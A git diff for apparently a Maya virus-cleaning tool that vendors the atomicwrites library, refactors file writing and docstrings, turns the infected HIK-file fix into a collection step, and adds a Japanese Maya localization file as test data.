diff --git a/maya_umbrella/_vendor/atomicwrites.pyi b/maya_umbrella/_vendor/atomicwrites.pyi new file mode 100644 index 0000000..694d66b --- /dev/null +++ b/maya_umbrella/_vendor/atomicwrites.pyi @@ -0,0 +1 @@ +from atomicwrites import * diff --git a/maya_umbrella/_vendor/atomicwrites/LICENSE b/maya_umbrella/_vendor/atomicwrites/LICENSE new file mode 100644 index 0000000..3bbadc3 --- /dev/null +++ b/maya_umbrella/_vendor/atomicwrites/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2015-2016 Markus Unterwaditzer + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/maya_umbrella/_vendor/atomicwrites/__init__.py b/maya_umbrella/_vendor/atomicwrites/__init__.py new file mode 100644 index 0000000..669191b --- /dev/null +++ b/maya_umbrella/_vendor/atomicwrites/__init__.py @@ -0,0 +1,229 @@ +import contextlib +import io +import os +import sys +import tempfile + +try: + import fcntl +except ImportError: + fcntl = None + +# `fspath` was added in Python 3.6 +try: + from os import fspath +except ImportError: + fspath = None + +__version__ = '1.4.1' + + +PY2 = sys.version_info[0] == 2 + +text_type = unicode if PY2 else str # noqa + + +def _path_to_unicode(x): + if not isinstance(x, text_type): + return x.decode(sys.getfilesystemencoding()) + return x + + +DEFAULT_MODE = "wb" if PY2 else "w" + + +_proper_fsync = os.fsync + + +if sys.platform != 'win32': + if hasattr(fcntl, 'F_FULLFSYNC'): + def _proper_fsync(fd): + # https://lists.apple.com/archives/darwin-dev/2005/Feb/msg00072.html + # https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man2/fsync.2.html + # https://github.com/untitaker/python-atomicwrites/issues/6 + fcntl.fcntl(fd, fcntl.F_FULLFSYNC) + + def _sync_directory(directory): + # Ensure that filenames are written to disk + fd = os.open(directory, 0) + try: + _proper_fsync(fd) + finally: + os.close(fd) + + def _replace_atomic(src, dst): + os.rename(src, dst) + _sync_directory(os.path.normpath(os.path.dirname(dst))) + + def _move_atomic(src, dst): + os.link(src, dst) + os.unlink(src) + + src_dir = os.path.normpath(os.path.dirname(src)) + dst_dir = os.path.normpath(os.path.dirname(dst)) + _sync_directory(dst_dir) + if src_dir != dst_dir: + _sync_directory(src_dir) +else: + from ctypes import windll, WinError + + _MOVEFILE_REPLACE_EXISTING = 0x1 + _MOVEFILE_WRITE_THROUGH = 0x8 + _windows_default_flags = _MOVEFILE_WRITE_THROUGH + + def _handle_errors(rv): + if not rv: + raise WinError() + + def _replace_atomic(src, dst): + _handle_errors(windll.kernel32.MoveFileExW( + _path_to_unicode(src), _path_to_unicode(dst), + _windows_default_flags | _MOVEFILE_REPLACE_EXISTING + )) + + def _move_atomic(src, dst): + _handle_errors(windll.kernel32.MoveFileExW( + _path_to_unicode(src), _path_to_unicode(dst), + _windows_default_flags + )) + + +def replace_atomic(src, dst): + ''' + Move ``src`` to ``dst``. If ``dst`` exists, it will be silently + overwritten. + + Both paths must reside on the same filesystem for the operation to be + atomic. + ''' + return _replace_atomic(src, dst) + + +def move_atomic(src, dst): + ''' + Move ``src`` to ``dst``. There might a timewindow where both filesystem + entries exist. If ``dst`` already exists, :py:exc:`FileExistsError` will be + raised. + + Both paths must reside on the same filesystem for the operation to be + atomic. + ''' + return _move_atomic(src, dst) + + +class AtomicWriter(object): + ''' + A helper class for performing atomic writes. Usage:: + + with AtomicWriter(path).open() as f: + f.write(...) + + :param path: The destination filepath. May or may not exist. + :param mode: The filemode for the temporary file. This defaults to `wb` in + Python 2 and `w` in Python 3. + :param overwrite: If set to false, an error is raised if ``path`` exists. + Errors are only raised after the file has been written to. Either way, + the operation is atomic. + :param open_kwargs: Keyword-arguments to pass to the underlying + :py:func:`open` call. This can be used to set the encoding when opening + files in text-mode. + + If you need further control over the exact behavior, you are encouraged to + subclass. + ''' + + def __init__(self, path, mode=DEFAULT_MODE, overwrite=False, + **open_kwargs): + if 'a' in mode: + raise ValueError( + 'Appending to an existing file is not supported, because that ' + 'would involve an expensive `copy`-operation to a temporary ' + 'file. Open the file in normal `w`-mode and copy explicitly ' + 'if that\'s what you\'re after.' + ) + if 'x' in mode: + raise ValueError('Use the `overwrite`-parameter instead.') + if 'w' not in mode: + raise ValueError('AtomicWriters can only be written to.') + + # Attempt to convert `path` to `str` or `bytes` + if fspath is not None: + path = fspath(path) + + self._path = path + self._mode = mode + self._overwrite = overwrite + self._open_kwargs = open_kwargs + + def open(self): + ''' + Open the temporary file. + ''' + return self._open(self.get_fileobject) + + @contextlib.contextmanager + def _open(self, get_fileobject): + f = None # make sure f exists even if get_fileobject() fails + try: + success = False + with get_fileobject(**self._open_kwargs) as f: + yield f + self.sync(f) + self.commit(f) + success = True + finally: + if not success: + try: + self.rollback(f) + except Exception: + pass + + def get_fileobject(self, suffix="", prefix=tempfile.gettempprefix(), + dir=None, **kwargs): + '''Return the temporary file to use.''' + if dir is None: + dir = os.path.normpath(os.path.dirname(self._path)) + descriptor, name = tempfile.mkstemp(suffix=suffix, prefix=prefix, + dir=dir) + # io.open() will take either the descriptor or the name, but we need + # the name later for commit()/replace_atomic() and couldn't find a way + # to get the filename from the descriptor. + os.close(descriptor) + kwargs['mode'] = self._mode + kwargs['file'] = name + return io.open(**kwargs) + + def sync(self, f): + '''responsible for clearing as many file caches as possible before + commit''' + f.flush() + _proper_fsync(f.fileno()) + + def commit(self, f): + '''Move the temporary file to the target location.''' + if self._overwrite: + replace_atomic(f.name, self._path) + else: + move_atomic(f.name, self._path) + + def rollback(self, f): + '''Clean up all temporary resources.''' + os.unlink(f.name) + + +def atomic_write(path, writer_cls=AtomicWriter, **cls_kwargs): + ''' + Simple atomic writes. This wraps :py:class:`AtomicWriter`:: + + with atomic_write(path) as f: + f.write(...) + + :param path: The target path to write to. + :param writer_cls: The writer class to use. This parameter is useful if you + subclassed :py:class:`AtomicWriter` to change some behavior and want to + use that new subclass. + + Additional keyword arguments are passed to the writer class. See + :py:class:`AtomicWriter`. + ''' + return writer_cls(path, **cls_kwargs).open() diff --git a/maya_umbrella/_vendor/vendor.txt b/maya_umbrella/_vendor/vendor.txt index 3b370b7..11bf4c6 100644 --- a/maya_umbrella/_vendor/vendor.txt +++ b/maya_umbrella/_vendor/vendor.txt @@ -1 +1,2 @@ six==1.16.0 +atomicwrites==1.4.1 diff --git a/maya_umbrella/collector.py b/maya_umbrella/collector.py index eac6cba..1188ec2 100644 --- a/maya_umbrella/collector.py +++ b/maya_umbrella/collector.py @@ -74,7 +74,7 @@ def user_app_dir(self): @property def maya_install_root(self): """Return the Maya installation root directory.""" - return os.environ["MAYA_LOCATION"] + return os.environ.get("MAYA_LOCATION", "") @property def user_script_path(self): diff --git a/maya_umbrella/filesystem.py b/maya_umbrella/filesystem.py index d1f5c52..7215f3e 100644 --- a/maya_umbrella/filesystem.py +++ b/maya_umbrella/filesystem.py @@ -1,29 +1,35 @@ # Import built-in modules -from contextlib import contextmanager import glob import importlib import json import logging import os -import random import re import shutil -import string import tempfile # Import local modules from maya_umbrella._vendor import six +from maya_umbrella._vendor.atomicwrites import atomic_write from maya_umbrella.constants import PACKAGE_NAME from maya_umbrella.signatures import FILE_VIRUS_SIGNATURES def this_root(): - """Return the absolute path of the current file's directory.""" + """Return the absolute path of the current file's directory. + + Returns: + str: The absolute path of the current file's directory. + """ return os.path.abspath(os.path.dirname(__file__)) def safe_remove_file(file_path): - """Remove the file at the given path without raising an error if the file does not exist.""" + """Remove the file at the given path without raising an error if the file does not exist. + + Args: + file_path (str): Path to the file to remove. + """ try: os.remove(file_path) except (OSError, IOError): # noqa: UP024 @@ -31,7 +37,11 @@ def safe_remove_file(file_path): def safe_rmtree(path): - """Remove the directory at the given path without raising an error if the directory does not exist.""" + """Remove the directory at the given path without raising an error if the directory does not exist. + + Args: + path (str): Path to the directory to remove. + """ try: shutil.rmtree(path) except (OSError, IOError): # noqa: UP024 @@ -54,7 +64,14 @@ def read_file(path): def read_json(path): - """Read the content of the file at the given path.""" + """Read the content of a JSON file at the given path. + + Args: + path (str): Path to the JSON file. + + Returns: + dict: The content of the JSON file as a dictionary, or an empty dictionary if the file could not be read. + """ options = {"encoding": "utf-8"} if six.PY3 else {} with open(path, **options) as file_: try: @@ -65,53 +82,28 @@ def read_json(path): def write_file(path, content): - """Write the given content to the file at the given path.""" - with atomic_writes(path, "wb") as file_: - file_.write(six.ensure_binary(content)) - - -@contextmanager -def atomic_writes(src, mode): - """Context manager for atomic writes to a file. - - This context manager ensures that the file is only written to disk if the write operation completes without errors. + """Write the given content to the file at the given path. Args: - src (str): Path to the file to be written. - mode (str): Mode in which the file is opened, like 'r', 'w', 'a', etc. - **options: Arbitrary keyword arguments that are passed to the built-in open() function. - - Yields: - file object: The opened file object. - - Raises: - AttributeError: If the os module does not have the 'replace' function (Python 2 compatibility). + path (str): Path to the file to write. + content (str): Content to write to the file. """ - temp_path = os.path.join(os.path.dirname(src), "._{}".format(id_generator())) - with open(temp_path, mode) as f: - yield f - try: - os.replace(temp_path, src) - except AttributeError: - shutil.move(temp_path, src) - -def id_generator(size=6, chars=string.ascii_uppercase + string.digits): - """Generate a random string of the given size using the given characters.""" - return "".join(random.choice(chars) for _ in range(size)) + root = os.path.dirname(path) + if not os.path.exists(root): + os.makedirs(root) + with atomic_write(path, mode="wb", overwrite=True) as file_: + file_.write(six.ensure_binary(content)) -def rename(src): - """Rename the file at the given path to a random name and return the new path.""" - dst = os.path.join(os.path.dirname(src), "._{}".format(id_generator())) - try: - os.rename(src, dst) - except (OSError, IOError): # noqa: UP024 - return src - return dst +def load_hook(hook_file): + """Load the Python module from the given hook file. + Args: + hook_file (str): Path to the Python file to load. -def load_hook(hook_file): - """Load the Python module from the given hook file.""" + Returns: + module: The loaded Python module. + """ hook_name = os.path.basename(hook_file).split(".py")[0] if hasattr(importlib, "machinery"): # Python 3 @@ -132,7 +124,11 @@ def load_hook(hook_file): def get_hooks(): - """Return a list of paths to all hook files in the 'hooks' directory.""" + """Return a list of paths to all hook files in the 'hooks' directory. + + Returns: + list: A list of paths to all hook files in the 'hooks' directory. + """ pattern = os.path.join(this_root(), "hooks", "*.py") return [hook for hook in glob.glob(pattern) if "__init__" not in hook] @@ -187,6 +183,7 @@ def remove_virus_file_by_signature(file_path, signatures, output_file_path=None, fixed_data = replace_content_by_signatures(data, signatures).strip() if fixed_data: write_file(output_file_path or file_path, fixed_data) + else: # Auto remove empty files. if auto_remove: @@ -273,7 +270,14 @@ def get_backup_path(path, root_path=None): def get_maya_install_root(maya_version): - """Get the Maya install root path.""" + """Get the Maya install root path for the specified version. + + Args: + maya_version (str): The version of Maya to find the install root for. + + Returns: + str: The Maya install root path, or None if not found. + """ logger = logging.getLogger(__name__) maya_location = os.getenv("MAYA_LOCATION") try: diff --git a/maya_umbrella/vaccines/vaccine3.py b/maya_umbrella/vaccines/vaccine3.py index afb1b6a..25e2515 100644 --- a/maya_umbrella/vaccines/vaccine3.py +++ b/maya_umbrella/vaccines/vaccine3.py @@ -71,7 +71,7 @@ def collect_script_jobs(self): if virus in script_job: self.api.add_infected_script_job(script_job) - def fix_bad_hik_files(self): + def collect_infected_hik_files(self): """Fix all bad HIK files related to the virus.""" pattern = os.path.join(self.api.maya_install_root, "resources/l10n/*/plug-ins/mayaHIK.pres.mel") for hik_mel in glob.glob(pattern): @@ -83,8 +83,8 @@ def collect_issues(self): """Collect all issues related to the virus.""" self.api.add_malicious_file(os.path.join(os.getenv("APPDATA"), "syssst")) self.collect_infected_mel_files() + self.collect_infected_hik_files() self.collect_infected_nodes() # This only works for Maya Gui model. if not is_maya_standalone(): self.collect_script_jobs() - self.api.add_additionally_fix_function(self.fix_bad_hik_files) diff --git a/tests/data/ja_JP/plug-ins/mayaHIK.pres.mel b/tests/data/ja_JP/plug-ins/mayaHIK.pres.mel new file mode 100644 index 0000000..0ac611b --- /dev/null +++ b/tests/data/ja_JP/plug-ins/mayaHIK.pres.mel @@ -0,0 +1,21139 @@ +// =========================================================================== +// Copyright 2021 Autodesk, Inc. All rights reserved. +// +// Use of this software is subject to the terms of the Autodesk license +// agreement provided at the time of installation or download, or which +// otherwise accompanies this software in either electronic or hard copy form. +// =========================================================================== +// Resources for Plug-in: mayaHIK +// +// ---------------------------- +// Registered string resources: +// ---------------------------- +setPluginResource( "mayaHIK", "kCharCtrlsClearExtraEffectors", "追加エフェクタのクリア"); +setPluginResource( "mayaHIK", "kCharCtrlsCreateAuxEffector", "補助エフェクタの作成"); +setPluginResource( "mayaHIK", "kCharCtrlsCreatePivotEffector", "ピボット エフェクタの作成"); +setPluginResource( "mayaHIK", "kComputeRefCharacterNotFound", "指定されたキャラクタが見つからないか、有効な HIKCharacterNode ではありません。"); +setPluginResource( "mayaHIK", "kComputeRefCharacterNotSpecified", "キャラクタが不足しています。-ch フラグを使用してキャラクタを指定します。"); +setPluginResource( "mayaHIK", "kComputeRefCrNotFound", "指定された CtrlRig リファレンスが見つからないか、有効なトランスフォームではありません。"); +setPluginResource( "mayaHIK", "kComputeRefCrNotSpecified", "ctrl rig リファレンスが不足しています。-cr フラグを使用してリファレンスを指定します。"); +setPluginResource( "mayaHIK", "kComputeRefNoAction", "指定されたアクションがありません。fk に基づいて sk リファレンスを設定する、sk に基づいて fk リファレンスを設定する、または fk リファレンスをキャラクタ化ポーズにリセットするには、-ssk、-scr または -rcr を使用します。"); +setPluginResource( "mayaHIK", "kComputeRefSkNotFound", "スケルトン リファレンスが見つからないか、有効なトランスフォームではありません。"); +setPluginResource( "mayaHIK", "kComputeRefSkNotSpecified", "スケルトン リファレンスが必要です。-sk フラグを使用してください。"); +setPluginResource( "mayaHIK", "kConfigFileEmpty", "設定ファイル ^1s が空です。"); +setPluginResource( "mayaHIK", "kConfigFileNotFound", "設定ファイル ^1s が見つかりません。"); +setPluginResource( "mayaHIK", "kConfigFileNotSpecified", "設定ファイルが指定されていません。"); +setPluginResource( "mayaHIK", "kImageResourceNotFound", "イメージ ^1s が見つかりません。"); +setPluginResource( "mayaHIK", "kParentLayoutNotFound", "親レイアウトが見つかりません。"); +setPluginResource( "mayaHIK", "kParentLayoutNotSpecified", "親レイアウトが指定されていません。"); +setPluginResource( "mayaHIK", "kUnsupportedImageResource", "イメージ ^1s はサポートされていません。"); +// +// -------------------------- +// Registered node resources: +// -------------------------- +// +// Node: HIKSolverNode +// +setNodeNiceNameResource( "HIKSolverNode", "HIKSolver ノード" ); +setAttrNiceNameResource( "HIKSolverNode", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputActive", "アクティブの入力" ); +setAttrNiceNameResource( "HIKSolverNode", "InputStance", "入力スタンス" ); +setAttrNiceNameResource( "HIKSolverNode", "InputRelaxStance", "入力リラックス スタンス" ); +setAttrNiceNameResource( "HIKSolverNode", "InputStanceMask", "入力スタンス マスク" ); +setAttrNiceNameResource( "HIKSolverNode", "LowLOD", "低い LOD" ); +setAttrNiceNameResource( "HIKSolverNode", "SNS", "収縮と伸長" ); +setAttrNiceNameResource( "HIKSolverNode", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKSolverNode", "InputCharacterState", "入力キャラクタの状態" ); +setAttrNiceNameResource( "HIKSolverNode", "InputEffectorState", "入力エフェクタの状態" ); +setAttrNiceNameResource( "HIKSolverNode", "InputEffectorStateNoAux", "入力エフェクタ状態:補助なし" ); +setAttrNiceNameResource( "HIKSolverNode", "InputPropertySetState", "入力プロパティ セットの状態" ); +setAttrNiceNameResource( "HIKSolverNode", "SolverMode", "ソルバ モード" ); +setAttrNiceNameResource( "HIKSolverNode", "OutputCharacterState", "出力キャラクタの状態" ); +setAttrNiceNameResource( "HIKSolverNode", "decs", "二重評価キャラクタの状態" ); +setAttrNiceNameResource( "HIKSolverNode", "fza", "フリーズの影響を受ける" ); +setAttrEnumResource( "HIKSolverNode", "SolverMode", 0, "フル ボディ" ); +setAttrEnumResource( "HIKSolverNode", "SolverMode", 1, "ボディ パーツ" ); +setAttrEnumResource( "HIKSolverNode", "SolverMode", 2, "選択" ); +// +// Node: HIKRetargeterNode +// +setNodeNiceNameResource( "HIKRetargeterNode", "HIKRetargeter ノード" ); +setAttrNiceNameResource( "HIKRetargeterNode", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "SNS", "収縮と伸長" ); +setAttrNiceNameResource( "HIKRetargeterNode", "referenceGX", "リファレンスの GX" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputCharacterDefinitionSrc", "入力キャラクタ定義のソース" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputCharacterDefinitionDst", "入力キャラクタ定義の目的" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputCharacterState", "入力キャラクタの状態" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputSrcPropertySetState", "入力ソースのプロパティ セットの\\n状態" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputDstPropertySetState", "入力先プロパティ セットの\\n状態" ); +setAttrNiceNameResource( "HIKRetargeterNode", "OutputCharacterState", "出力キャラクタの状態" ); +setAttrNiceNameResource( "HIKRetargeterNode", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKCharacterNode +// +setNodeNiceNameResource( "HIKCharacterNode", "HIKCharacter ノード" ); +setAttrNiceNameResource( "HIKCharacterNode", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKCharacterNode", "OutputCharacterDefinition", "出力キャラクタ定義" ); +setAttrNiceNameResource( "HIKCharacterNode", "propertyState", "プロパティの状態" ); +setAttrNiceNameResource( "HIKCharacterNode", "SkeletonGenerator", "スケルトン ジェネレータ" ); +setAttrNiceNameResource( "HIKCharacterNode", "InputCharacterizationLock", "入力のキャラクタ化のロック" ); +setAttrNiceNameResource( "HIKCharacterNode", "leftKneeInverted", "左膝の反転" ); +setAttrNiceNameResource( "HIKCharacterNode", "rightKneeInverted", "右膝の反転" ); +setAttrNiceNameResource( "HIKCharacterNode", "leftElbowInverted", "左肘の反転" ); +setAttrNiceNameResource( "HIKCharacterNode", "rightElbowInverted", "右肘の反転" ); +setAttrNiceNameResource( "HIKCharacterNode", "Reference", "リファレンス" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceT", "リファレンス T" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceTx", "リファレンス Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceTy", "リファレンス Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceTz", "リファレンス Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceR", "リファレンス R" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRx", "リファレンス Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRy", "リファレンス Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRz", "リファレンス Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceS", "リファレンス S" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceSx", "リファレンス Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceSy", "リファレンス Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceSz", "リファレンス Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateOrder", "リファレンスの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxis", "リファレンスの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxisx", "リファレンスの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxisy", "リファレンスの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceRotateAxisz", "リファレンスの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrient", "リファレンスのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrientx", "リファレンスのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrienty", "リファレンスのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceJointOrientz", "リファレンスのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimit", "リファレンスの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitx", "リファレンスの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimity", "リファレンスの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitz", "リファレンスの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimit", "リファレンスの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitx", "リファレンスの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimity", "リファレンスの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitz", "リファレンスの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitEnablex", "リファレンスの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitEnabley", "リファレンスの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMinRLimitEnablez", "リファレンスの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitEnablex", "リファレンスの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitEnabley", "リファレンスの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "ReferenceMaxRLimitEnablez", "リファレンスの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Hips", "ヒップ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsT", "ヒップ T" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTx", "ヒップ Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTy", "ヒップ Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsTz", "ヒップ Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsR", "ヒップ R" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRx", "ヒップ Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRy", "ヒップ Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRz", "ヒップ Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsS", "ヒップ S" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsSx", "ヒップ Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsSy", "ヒップ Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsSz", "ヒップ Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateOrder", "ヒップの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxis", "ヒップの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxisx", "ヒップの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxisy", "ヒップの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsRotateAxisz", "ヒップの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrient", "ヒップのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrientx", "ヒップのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrienty", "ヒップのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsJointOrientz", "ヒップのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimit", "ヒップの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitx", "ヒップの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimity", "ヒップの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitz", "ヒップの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimit", "ヒップの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitx", "ヒップの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimity", "ヒップの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitz", "ヒップの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitEnablex", "ヒップの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitEnabley", "ヒップの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMinRLimitEnablez", "ヒップの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitEnablex", "ヒップの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitEnabley", "ヒップの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HipsMaxRLimitEnablez", "ヒップの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLeg", "左大腿部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegT", "左大腿部 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegTx", "左大腿部 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegTy", "左大腿部 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegTz", "左大腿部 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegR", "左大腿部 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRx", "左大腿部 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRy", "左大腿部 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRz", "左大腿部 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegS", "左大腿部 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegSx", "左大腿部 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegSy", "左大腿部 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegSz", "左大腿部 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateOrder", "左大腿部の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxis", "左大腿部の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxisx", "左大腿部の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxisy", "左大腿部の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegRotateAxisz", "左大腿部の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrient", "左大腿部のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrientx", "左大腿部のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrienty", "左大腿部のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegJointOrientz", "左大腿部のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimit", "左大腿部の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitx", "左大腿部の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimity", "左大腿部の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitz", "左大腿部の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimit", "左大腿部の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitx", "左大腿部の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimity", "左大腿部の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitz", "左大腿部の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitEnablex", "左大腿部の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitEnabley", "左大腿部の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMinRLimitEnablez", "左大腿部の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftUpLegMaxRLimitEnablex", "左大腿部の最大回転値 X の有効化" ); 